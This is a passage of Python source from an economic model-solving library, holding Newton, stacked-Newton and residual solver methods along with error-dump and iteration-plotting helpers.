:{self.calculate_freq[-1][1]:>15,}')\r\n print(f'Total iterations :{ittotal:>15,}')\r\n print(f'Total floating point operations :{numberfloats:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.2f}')\r\n if self.simtime > 0.0:\r\n print(f'Floating point operations per second : {numberfloats/self.simtime:>15,.1f}')\r\n \r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n\r\n def newtonstack(self, databank, start='', slut='', silent=1,samedata=0,alfa=1.0,stats=False,first_test=1,newton_absconv=0.001,\r\n max_iterations =20,conv='*',absconv=1.,relconv=DEFAULT_relconv,\r\n dumpvar='*',ldumpvar=False,dumpwith=15,dumpdecimal=5,chunk=30,nchunk=30,ljit=False,stringjit = False, transpile_reset=False,nljit=0, \r\n fairopt={'fair_max_iterations ':1},debug=False,timeit=False,nonlin=False,\r\n newtonalfa = 1.0 , newtonnodamp=0,forcenum=True,reset = False, **kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n # print('new nwwton')\r\n ittotal = 0\r\n diffcount = 0 \r\n starttimesetup=time.time()\r\n fair_max_iterations = {**fairopt,**kwargs}.get('fair_max_iterations ',1)\r\n sol_periode = self.smpl(start,slut,databank)\r\n self.check_sim_smpl(databank)\r\n \r\n if not silent : print ('Will start calculating: ' + self.name)\r\n# if not samedata or not hasattr(self,'solve2d') :\r\n# if (not hasattr(self,'solvestack2d')) or (not self.eqcolumns(self.genrcolumns,databank.columns)):\r\n# databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n# for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n# databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n# \r\n# self.make_losstack_text2d = self.outsolve2dcunk(databank,chunk=chunk,\r\n# ljit=ljit, debug=debug,type='res')\r\n# exec(self.make_losstack_text2d,globals()) # creates the los function\r\n# self.prostack2d,self.solvestack2d,self.epistack2d = make_los(self.funks,self.errfunk)\r\n\r\n if not self.eqcolumns(self.genrcolumns,databank.columns):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n newdata = True \r\n else:\r\n newdata = False\r\n \r\n \r\n self.pronew2d,self.solvenew2d,self.epinew2d= self.makelos(databank,solvename='newton',\r\n ljit=ljit,stringjit=stringjit,transpile_reset=transpile_reset)\r\n \r\n \r\n values = databank.values.copy()\r\n outvalues = np.empty_like(values)# \r\n if not hasattr(self,'newton_diff_stack'):\r\n self.newton_diff_stack = newton_diff(self,forcenum=forcenum,df=databank,ljit=nljit,nchunk=nchunk,silent=silent)\r\n if not hasattr(self,'stacksolver'):\r\n self.getsolver = self.newton_diff_stack.get_solvestacked\r\n diffcount += 1\r\n self.stacksolver = self.getsolver(databank)\r\n if not silent: print(f'Creating new derivatives and new solver')\r\n self.old_stack_periode = sol_periode.copy()\r\n elif reset or not all(self.old_stack_periode[[0,-1]] == sol_periode[[0,-1]]) : \r\n print(f'Creating new solver')\r\n diffcount += 1\r\n self.stacksolver = self.getsolver(databank)\r\n self.old_stack_periode = sol_periode.copy()\r\n\r\n newton_col = [databank.columns.get_loc(c) for c in self.newton_diff_stack.endovar]\r\n self.newton_diff_stack.timeit = timeit \r\n \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n \r\n convvar = self.list_names(self.coreorder,conv) \r\n convplace=[databank.columns.get_loc(c) for c in convvar] # this is how convergence is measured \r\n convergence = False\r\n \r\n if ldumpvar:\r\n self.dumplist = []\r\n self.dump = self.list_names(self.coreorder,dumpvar) \r\n dumpplac = [databank.columns.get_loc(v) for v in self.dump]\r\n \r\n ittotal = 0\r\n endtimesetup=time.time()\r\n \r\n starttime=time.time()\r\n self.stackrows=[databank.index.get_loc(p) for p in sol_periode]\r\n self.stackrowindex = np.array([[r]*len(newton_col) for r in self.stackrows]).flatten()\r\n self.stackcolindex = np.array([newton_col for r in self.stackrows]).flatten()\r\n # breakpoint()\r\n\r\n \r\n# if ldumpvar:\r\n# self.dumplist.append([fairiteration,self.periode,int(0)]+[values[row,p] \r\n# for p in dumpplac])\r\n\r\n# itbefore = values[self.stackrows,convplace] \r\n# self.pro2d(values, values, row , alfa )\r\n for iteration in range(max_iterations ):\r\n with self.timer(f'\\nNewton it:{iteration}',timeit) as xxtt:\r\n before = values[self.stackrowindex,self.stackcolindex]\r\n with self.timer('calculate new solution',timeit) as t2: \r\n for row in self.stackrows:\r\n self.pronew2d(values, outvalues, row , alfa )\r\n self.solvenew2d(values, outvalues, row , alfa )\r\n self.epinew2d(values, outvalues, row , alfa )\r\n ittotal += 1\r\n if ldumpvar:\r\n self.dumplist.append([1.0,databank.index[row],int(iteration+1)]+[values[row,p]\r\n for p in dumpplac])\r\n \r\n with self.timer('extract new solution',timeit) as t2: \r\n now = outvalues[self.stackrowindex,self.stackcolindex]\r\n distance = now-before\r\n newton_conv =np.abs(distance).sum()\r\n if not silent:print(f'Iteration {iteration} Sum of distances {newton_conv:>{15},.{6}f}')\r\n if newton_conv <= newton_absconv :\r\n convergence = True \r\n break \r\n if iteration != 0 and nonlin and not (iteration % nonlin) :\r\n with self.timer('Updating solver',timeit) as t3:\r\n if not silent :print(f'Updating solver, iteration {iteration}')\r\n df_now = pd.DataFrame(values,index=databank.index,columns=databank.columns)\r\n self.stacksolver = self.getsolver(df=df_now)\r\n diffcount += 1\r\n \r\n \r\n with self.timer('Update solution',timeit):\r\n # update = self.solveinv(distance)\r\n update = self.stacksolver(distance)\r\n damp = newtonalfa if iteration <= newtonnodamp else 1.0 \r\n values[self.stackrowindex,self.stackcolindex] = before - damp * update\r\n\r\n \r\n # if iteration > first_test: \r\n # itafter=[values[row,c] for c in convplace] \r\n # convergence = True\r\n # for after,before in zip(itafter,itbefore):\r\n ## print(before,after)\r\n # if before > absconv and abs(after-before)/abs(before) > relconv:\r\n # convergence = False\r\n # break \r\n # if convergence:\r\n # break\r\n # else:\r\n # itbefore=itafter\r\n# self.epistack2d(values, values, row , alfa )\r\n \r\n if not silent:\r\n if not convergence : \r\n print(f'Not converged in {iteration} iterations')\r\n else:\r\n print(f'Solved in {iteration} iterations')\r\n \r\n if ldumpvar:\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n self.dumpdf.sort_values(['per','iteration'],inplace = True)\r\n if fair_max_iterations <=2 : self.dumpdf.drop('fair',axis=1,inplace=True)\r\n \r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.4f}')\r\n print(f'Total model evaluations :{ittotal:>15,}')\r\n print(f'Number of solver update :{diffcount:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.4f}')\r\n if self.simtime > 0.0:\r\n print(f'Floating point operations per second : {numberfloats/self.simtime:>15,.1f}')\r\n \r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n\r\n def newton_un_normalized(self, databank, start='', slut='', silent=1,samedata=0,alfa=1.0,stats=False,first_test=1,newton_absconv=0.001,\r\n max_iterations =20,conv='*',absconv=1.0,relconv=DEFAULT_relconv, nonlin=False ,timeit = False,reset=1,\r\n dumpvar='*',ldumpvar=False,dumpwith=15,dumpdecimal=5,chunk=30,ljit=False, stringjit = False, transpile_reset=False,lnjit=False,\r\n fairopt={'fair_max_iterations ':1},\r\n newtonalfa = 1.0 , newtonnodamp=0,forcenum=True,**kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n # print('new nwwton')\r\n starttimesetup=time.time()\r\n fair_max_iterations = {**fairopt,**kwargs}.get('fair_max_iterations ',1)\r\n sol_periode = self.smpl(start,slut,databank)\r\n # breakpoint()\r\n self.check_sim_smpl(databank)\r\n \r\n if not silent : print ('Will start calculating: ' + self.name)\r\n\r\n if not self.eqcolumns(self.genrcolumns,databank.columns):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n newdata = True \r\n else:\r\n newdata = False\r\n \r\n if 0:\r\n if ljit:\r\n if newdata or not hasattr(self,'pronew2d_jit'): \r\n if not silent: print(f'Create compiled solving function for {self.name}') \r\n self.make_newlos_text2d_jit = self.outsolve2dcunk(databank,chunk=chunk,ljit=ljit, debug=kwargs.get('debug',1),type='res')\r\n exec(self.make_newlos_text2d_jit,globals()) # creates the los function\r\n self.pronew2d_jit,self.solvenew2d_jit,self.epinew2d_jit = make_los(self.funks,self.errfunk)\r\n self.pronew2d,self.solvenew2d,self.epinew2d = self.pronew2d_jit,self.solvenew2d_jit,self.epinew2d_jit\r\n \r\n else:\r\n if newdata or not hasattr(self,'pronew2d_nojit'): \r\n if not silent: print(f'Create solving function for {self.name}') \r\n self.make_newlos_text2d_nojit = self.outsolve2dcunk(databank,chunk=chunk,ljit=ljit, debug=kwargs.get('debug',1),type='res')\r\n exec(self.make_newlos_text2d_nojit,globals()) # creates the los function\r\n self.pronew2d_nojit,self.solvenew2d_nojit,self.epinew2d_nojit = make_los(self.funks,self.errfunk)\r\n self.pronew2d,self.solvenew2d,self.epinew2d = self.pronew2d_nojit,self.solvenew2d_nojit,self.epinew2d_nojit\r\n else:\r\n self.pronew2d,self.solvenew2d,self.epinew2d= self.makelos(databank,solvename='newton',\r\n ljit=ljit,stringjit=stringjit,transpile_reset=transpile_reset)\r\n\r\n \r\n values = databank.values.copy()\r\n outvalues = np.empty_like(values)# \r\n endovar = self.coreorder if self.use_preorder else self.solveorder\r\n if not hasattr(self,'newton_diff'):\r\n self.newton_diff = newton_diff(self,forcenum=forcenum,df=databank,\r\n endovar = endovar, ljit=lnjit,nchunk=chunk,onlyendocur=True ,silent=silent)\r\n if not hasattr(self,'newun1persolver') or reset:\r\n # breakpoint()\r\n self.newun1persolver = self.newton_diff.get_solve1per(df=databank,periode=[self.current_per[0]])[self.current_per[0]]\r\n\r\n newton_col = [databank.columns.get_loc(c) for c in self.newton_diff.endovar]\r\n newton_col_endo = [databank.columns.get_loc(c) for c in self.newton_diff.declared_endo_list]\r\n \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n \r\n convvar = self.list_names(self.newton_diff.declared_endo_list,conv) \r\n convplace=[databank.columns.get_loc(c) for c in convvar] # this is how convergence is measured \r\n convergence = True\r\n \r\n if ldumpvar:\r\n self.dumplist = []\r\n self.dump = self.list_names(self.newton_diff.declared_endo_list,dumpvar) \r\n dumpplac = [databank.columns.get_loc(v) for v in self.dump]\r\n # breakpoint()\r\n ittotal = 0\r\n endtimesetup=time.time()\r\n \r\n starttime=time.time()\r\n for fairiteration in range(fair_max_iterations ):\r\n if fair_max_iterations >=2:\r\n print(f'Fair-Taylor iteration: {fairiteration}')\r\n for self.periode in sol_periode:\r\n row=databank.index.get_loc(self.periode)\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode,int(0)]+[values[row,p] \r\n for p in dumpplac])\r\n \r\n itbefore = [values[row,c] for c in convplace] \r\n self.pronew2d(values, values, row , alfa )\r\n for iteration in range(max_iterations ):\r\n with self.timer(f'sim per:{self.periode} it:{iteration}',0) as xxtt:\r\n before = values[row,newton_col_endo]\r\n self.solvenew2d(values, outvalues, row , alfa )\r\n now = outvalues[row,newton_col]\r\n distance = now\r\n newton_conv =np.abs(distance).sum()\r\n\r\n if not silent:print(f'Iteration {iteration} Sum of distances {newton_conv:>{15},.{6}f}')\r\n if newton_conv <= newton_absconv:\r\n break \r\n if iteration != 0 and nonlin and not (iteration % nonlin):\r\n with self.timer('Updating solver',timeit) as t3:\r\n if not silent :print(f'Updating solver, iteration {iteration}')\r\n df_now = pd.DataFrame(values,index=databank.index,columns=databank.columns)\r\n self.newun1persolver = self.newton_diff.get_solve1per(df=df_now,periode=[self.periode])[self.periode]\r\n #breakpoint() \r\n with self.timer('Update solution',0):\r\n # update = self.solveinv(distance)\r\n update = self.newun1persolver(distance)\r\n # breakpoint()\r\n \r\n damp = newtonalfa if iteration <= newtonnodamp else 1.0 \r\n values[row,newton_col_endo] = before - damp*update\r\n \r\n ittotal += 1\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode, int(iteration+1)]+[values[row,p]\r\n for p in dumpplac])\r\n # if iteration > first_test: \r\n # itafter=[values[row,c] for c in convplace] \r\n # convergence = True\r\n # for after,before in zip(itafter,itbefore):\r\n ## print(before,after)\r\n # if before > absconv and abs(after-before)/abs(before) > relconv:\r\n # convergence = False\r\n # break \r\n # if convergence:\r\n # break\r\n # else:\r\n # itbefore=itafter\r\n self.epinew2d(values, values, row , alfa )\r\n \r\n if not silent:\r\n if not convergence : \r\n print(f'{self.periode} not converged in {iteration} iterations')\r\n else:\r\n print(f'{self.periode} Solved in {iteration} iterations')\r\n \r\n if ldumpvar:\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n if fair_max_iterations <=2 : self.dumpdf.drop('fair',axis=1,inplace=True)\r\n \r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.2f}')\r\n print(f'Foating point operations :{self.calculate_freq[-1][1]:>15,}')\r\n print(f'Total iterations :{ittotal:>15,}')\r\n print(f'Total floating point operations :{numberfloats:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.2f}')\r\n if self.simtime > 0.0:\r\n print(f'Floating point operations per second : {numberfloats/self.simtime:>15,.1f}')\r\n \r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n\r\n def newtonstack_un_normalized(self, databank, start='', slut='', silent=1,samedata=0,alfa=1.0,stats=False,first_test=1,newton_absconv=0.001,\r\n max_iterations =20,conv='*',absconv=1.0,relconv=DEFAULT_relconv,\r\n dumpvar='*',ldumpvar=False,dumpwith=15,dumpdecimal=5,chunk=30,nchunk=None,ljit=False,nljit=0, stringjit = False, transpile_reset=False,\r\n fairopt={'fair_max_iterations ':1},debug=False,timeit=False,nonlin=False,\r\n newtonalfa = 1.0 , newtonnodamp=0,forcenum=True,reset = False, **kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n # print('new nwwton')\r\n ittotal = 0\r\n diffcount = 0 \r\n starttimesetup=time.time()\r\n fair_max_iterations = {**fairopt,**kwargs}.get('fair_max_iterations ',1)\r\n sol_periode = self.smpl(start,slut,databank)\r\n self.check_sim_smpl(databank)\r\n\r\n if not self.eqcolumns(self.genrcolumns,databank.columns):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n newdata = True \r\n else:\r\n newdata = False\r\n \r\n self.pronew2d,self.solvenew2d,self.epinew2d= self.makelos(databank,solvename='newton',\r\n ljit=ljit,stringjit=stringjit,transpile_reset=transpile_reset)\r\n\r\n\r\n \r\n values = databank.values.copy()\r\n outvalues = np.empty_like(values)# \r\n if not hasattr(self,'newton_diff_stack'):\r\n self.newton_diff_stack = newton_diff(self,forcenum=forcenum,df=databank,ljit=nljit,nchunk=nchunk,timeit=timeit,silent=silent)\r\n if not hasattr(self,'stackunsolver'):\r\n if not silent :print(f'Calculating new derivatives and create new stacked Newton solver')\r\n self.getstackunsolver = self.newton_diff_stack.get_solvestacked\r\n diffcount += 1\r\n self.stackunsolver = self.getstackunsolver(databank)\r\n self.old_stack_periode = sol_periode.copy()\r\n elif reset or not all(self.old_stack_periode[[0,-1]] == sol_periode[[0,-1]]) : \r\n print(f'Creating new stacked Newton solver')\r\n diffcount += 1\r\n self.stackunsolver = self.getstackunsolver(databank)\r\n self.old_stack_periode = sol_periode.copy()\r\n\r\n newton_col = [databank.columns.get_loc(c) for c in self.newton_diff_stack.endovar]\r\n # breakpoint()\r\n newton_col_endo = [databank.columns.get_loc(c) for c in self.newton_diff_stack.declared_endo_list]\r\n self.newton_diff_stack.timeit = timeit \r\n \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n \r\n convvar = self.list_names(self.coreorder,conv) \r\n convplace=[databank.columns.get_loc(c) for c in convvar] # this is how convergence is measured \r\n convergence = True\r\n \r\n if ldumpvar:\r\n self.dumplist = []\r\n self.dump = self.list_names(self.newton_diff_stack.declared_endo_list,dumpvar) \r\n dumpplac = [databank.columns.get_loc(v) for v in self.dump]\r\n \r\n ittotal = 0\r\n endtimesetup=time.time()\r\n \r\n starttime=time.time()\r\n self.stackrows=[databank.index.get_loc(p) for p in sol_periode]\r\n self.stackrowindex = np.array([[r]*len(newton_col) for r in self.stackrows]).flatten()\r\n self.stackcolindex = np.array([newton_col for r in self.stackrows]).flatten()\r\n self.stackcolindex_endo = np.array([newton_col_endo for r in self.stackrows]).flatten()\r\n\r\n \r\n# if ldumpvar:\r\n# self.dumplist.append([fairiteration,self.periode,int(0)]+[values[row,p] \r\n# for p in dumpplac])\r\n\r\n# itbefore = values[self.stackrows,convplace] \r\n# self.pro2d(values, values, row , alfa )\r\n for iteration in range(max_iterations ):\r\n with self.timer(f'\\nNewton it:{iteration}',timeit) as xxtt:\r\n before = values[self.stackrowindex,self.stackcolindex_endo]\r\n with self.timer('calculate new solution',timeit) as t2: \r\n for row in self.stackrows:\r\n self.pronew2d(values, outvalues, row , alfa )\r\n self.solvenew2d(values, outvalues, row , alfa )\r\n self.epinew2d(values, outvalues, row , alfa )\r\n ittotal += 1\r\n with self.timer('extract new solution',timeit) as t2: \r\n now = outvalues[self.stackrowindex,self.stackcolindex]\r\n distance = now\r\n newton_conv =np.abs(distance).sum()\r\n # breakpoint()\r\n\r\n if not silent:print(f'Iteration {iteration} Sum of distances {newton_conv:>{25},.{12}f}')\r\n if newton_conv <= newton_absconv :\r\n convergence = True \r\n break \r\n if iteration != 0 and nonlin and not (iteration % nonlin):\r\n with self.timer('Updating solver',timeit) as t3:\r\n if not silent :print(f'Updating solver, iteration {iteration}')\r\n df_now = pd.DataFrame(values,index=databank.index,columns=databank.columns)\r\n self.stackunsolver = self.getstackunsolver(df=df_now)\r\n diffcount += 1\r\n \r\n \r\n with self.timer('Update solution',timeit):\r\n # update = self.solveinv(distance)\r\n update = self.stackunsolver(distance)\r\n damp = newtonalfa if iteration <= newtonnodamp else 1.0 \r\n values[self.stackrowindex,self.stackcolindex_endo] = before - damp * update\r\n\r\n \r\n if ldumpvar:\r\n for periode,row in zip(self.current_per,self.stackrows):\r\n \r\n self.dumplist.append([0,periode, int(iteration+1)]+[values[row,p]\r\n for p in dumpplac])\r\n # if iteration > first_test: \r\n # itafter=[values[row,c] for c in convplace] \r\n # convergence = True\r\n # for after,before in zip(itafter,itbefore):\r\n ## print(before,after)\r\n # if before > absconv and abs(after-before)/abs(before) > relconv:\r\n # convergence = False\r\n # break \r\n # if convergence:\r\n # break\r\n # else:\r\n # itbefore=itafter\r\n# self.epistack2d(values, values, row , alfa )\r\n \r\n if not silent:\r\n if not convergence : \r\n print(f'Not converged in {iteration} iterations')\r\n else:\r\n print(f'Solved in {iteration} iterations')\r\n \r\n if ldumpvar:\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n if fair_max_iterations <=2 : self.dumpdf.drop('fair',axis=1,inplace=True)\r\n \r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n diff_numberfloats = self.newton_diff_stack.diff_model.calculate_freq[-1][-1]*len(self.current_per)*diffcount\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.4f}')\r\n print(f'Total model evaluations :{ittotal:>15,}')\r\n print(f'Number of solver update :{diffcount:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.4f}')\r\n print(f'Floating point operations in model : {numberfloats:>15,}')\r\n print(f'Floating point operations in jacobi model : {diff_numberfloats:>15,}')\r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n\r\n def res(self, databank, start='', slut='',debug=False,timeit=False,silent=False,\r\n chunk=None,ljit=0,alfa=1,stats=0,samedata=False,**kwargs):\r\n '''calculates the result of a model, no iteration or interaction \r\n The text for the evaluater function is placed in the model property **make_res_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n # print('new nwwton')\r\n starttimesetup=time.time()\r\n sol_periode = self.smpl(start,slut,databank)\r\n # breakpoint()\r\n if self.maxlag and not (self.current_per[0]+self.maxlag) in databank.index :\r\n print('***** Warning: You are solving the model before all lags are avaiable')\r\n print('Maxlag:',self.maxlag,'First solveperiod:',self.current_per[0],'First dataframe index',databank.index[0])\r\n sys.exit() \r\n if self.maxlead and not (self.current_per[-1]-self.maxlead) in databank.index :\r\n print('***** Warning: You are solving the model before all leads are avaiable')\r\n print('Maxlag:',self.maxlead,'Last solveperiod:',self.current_per[0],'Last dataframe index',databank.index[1])\r\n sys.exit() \r\n if not silent : print ('Will start calculating: ' + self.name)\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n# if not samedata or not hasattr(self,'solve2d') :\r\n# if (not hasattr(self,'solve2d')) or (not self.eqcolumns(self.genrcolumns,databank.columns)):\r\n# for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n# databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n# with self.timer('make model:'):\r\n# self.make_res_text2d = self.outsolve2dcunk(databank,chunk=chunk,\r\n# ljit=ljit, debug=debug,type='res')\r\n# exec(self.make_res_text2d,globals()) # creates the los function\r\n# self.pro2d,self.solve2d,self.epi2d = make_los(self.funks,self.errfunk)\r\n\r\n if not self.eqcolumns(self.genrcolumns,databank.columns):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n newdata = True \r\n else:\r\n newdata = False\r\n \r\n if ljit:\r\n if newdata or not hasattr(self,'prores2d_jit'): \r\n if not silent: print(f'Create compiled res function for {self.name}') \r\n self.make_reslos_text2d_jit = self.outsolve2dcunk(databank,chunk=chunk,ljit=ljit, debug=kwargs.get('debug',1),type='res')\r\n exec(self.make_reslos_text2d_jit,globals()) # creates the los function\r\n self.prores2d_jit,self.solveres2d_jit,self.epires2d_jit = make_los(self.funks,self.errfunk)\r\n self.prores2d,self.solveres2d,self.epires2d = self.prores2d_jit,self.solveres2d_jit,self.epires2d_jit\r\n \r\n else:\r\n if newdata or not hasattr(self,'prores2d_nojit'): \r\n if not silent: print(f'Create res function for {self.name}') \r\n self.make_res_text2d_nojit = self.outsolve2dcunk(databank,chunk=chunk,ljit=ljit, debug=kwargs.get('debug',1),type='res')\r\n exec(self.make_res_text2d_nojit,globals()) # creates the los function\r\n self.prores2d_nojit,self.solveres2d_nojit,self.epires2d_nojit = make_los(self.funks,self.errfunk)\r\n self.prores2d,self.solveres2d,self.epires2d = self.prores2d_nojit,self.solveres2d_nojit,self.epires2d_nojit\r\n\r\n \r\n values = databank.values.copy()\r\n outvalues = values.copy() \r\n\r\n res_col = [databank.columns.get_loc(c) for c in self.solveorder]\r\n \r\n \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n endtimesetup=time.time()\r\n \r\n starttime=time.time()\r\n self.stackrows=[databank.index.get_loc(p) for p in sol_periode]\r\n with self.timer(f'\\nres calculation',timeit) as xxtt:\r\n for row in self.stackrows:\r\n self.periode = databank.index[row]\r\n self.prores2d(values, outvalues, row , alfa )\r\n self.solveres2d(values, outvalues, row , alfa )\r\n self.epires2d(values, outvalues, row , alfa )\r\n \r\n outdf = pd.DataFrame(outvalues,index=databank.index,columns=databank.columns) \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*len(self.stackrows)\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.2f}')\r\n print(f'Foating point operations :{numberfloats:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.2f}')\r\n \r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n\r\n def invert(self,databank,targets,instruments,silent=1,\r\n DefaultImpuls=0.01,defaultconv=0.001,nonlin=False,maxiter = 30,**kwargs):\r\n from modelinvert import targets_instruments\r\n t_i = targets_instruments(databank,targets,instruments,self,silent=silent,\r\n DefaultImpuls = DefaultImpuls ,defaultconv = defaultconv, nonlin=nonlin, maxiter = maxiter)\r\n res = t_i()\r\n return res\r\n\r\n def errfunk1d(self,a,linenr,overhead=4,overeq=0):\r\n ''' Handle errors in sim1d '''\r\n self.saveeval3(self.values_,self.row_,a)\r\n self.errfunk(self.values_,linenr,overhead,overeq)\r\n \r\n def errfunk(self,values,linenr,overhead=4,overeq=0):\r\n ''' developement function\r\n \r\n to handle run time errors in model calculations'''\r\n \r\n# winsound.Beep(500,1000)\r\n self.errdump = pd.DataFrame(values,columns=self.genrcolumns, index= self.genrindex)\r\n self.lastdf = self.errdump\r\n \r\n print('>> Error in :',self.name)\r\n print('>> In :',self.periode)\r\n if 0:\r\n print('>> Linenr :',linenr)\r\n print('>> Overhead :',overhead)\r\n print('>> over eq :',overeq)\r\n varposition = linenr-overhead -1 + overeq\r\n print('>> varposition :',varposition)\r\n \r\n errvar = self.solveorder[varposition]\r\n outeq = self.allvar[errvar]['frml']\r\n print('>> Equation :',outeq)\r\n print('A snapshot of the data at the error point is at .errdump ')\r\n print('Also the .lastdf contains .errdump, for inspecting ')\r\n self.print_eq_values(errvar,self.errdump,per=[self.periode])\r\n if hasattr(self,'dumplist'):\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n\r\n pass\r\n\r\n\r\n def show_iterations(self,pat='*',per='',last=0,change=False):\r\n '''\r\n shows the last iterations for the most recent simulation. \r\n iterations are dumped if ldumpvar is set to True\r\n variables can be selceted by: dumpvar = ''\r\n \r\n\r\n Args:\r\n pat (TYPE, optional): Variables for which to show iterations . Defaults to '*'.\r\n per (TYPE, optional): The time frame for which to show iterations, Defaults to the last projection .\r\n last (TYPE, optional): Only show the last iterations . Defaults to 0.\r\n change (TYPE, optional): show the changes from iteration to iterations instead of the levels. Defaults to False.\r\n\r\n Returns:\r\n fig (TYPE): DESCRIPTION.\r\n\r\n ''' \r\n \r\n model = self\r\n try:\r\n if per == '':\r\n per_ = model.current_per[-1] \r\n else: \r\n relevantindex = pd.Index(self.dumpdf['per']).unique()\r\n per_ = relevantindex[relevantindex.get_loc(per)]\r\n # breakpoint()\r\n indf = model.dumpdf.query('per == @per_') \r\n out0= indf.query('per == @per_').set_index('iteration',drop=True).drop('per',axis=1).copy()\r\n out = out0.diff() if change else out0\r\n var = self.list_names(model.dumpdf.columns,pat) \r\n number = len(var)\r\n if last:\r\n axes=out.iloc[last:-1,:].loc[:,var].plot(kind='line',subplots=True,layout=(number,1),figsize = (10, number*3),\r\n use_index=True,title=f'Iterations in {per_} ',sharey=0)\r\n else:\r\n axes=out.iloc[:,:].loc[:,var].plot(kind='line',subplots=True,layout=(number,1),figsize = (10, number*3),\r\n use_index=True,title=f'Iterations in {per_} ',sharey=0)\r\n fig = axes.flatten()[0].get_figure()\r\n fig.tight_layout()\r\n fig.subplots_adjust(top=0.97)\r\n return fig\r\n except:\r\n print('No iteration dump' )\r\n\r\n\r\n \r\n\r\nclass model(Zip_Mixin,Json_Mixin,Model_help_Mixin,Solver_Mixin,Display_Mixin,Graph_Draw_Mixin,Graph_Mixin,Dekomp_Mixin,Org_model_Mixin,BaseModel):\r\n pass\r\n \r\n\r\n\r\n# Functions used in calculating \r\n 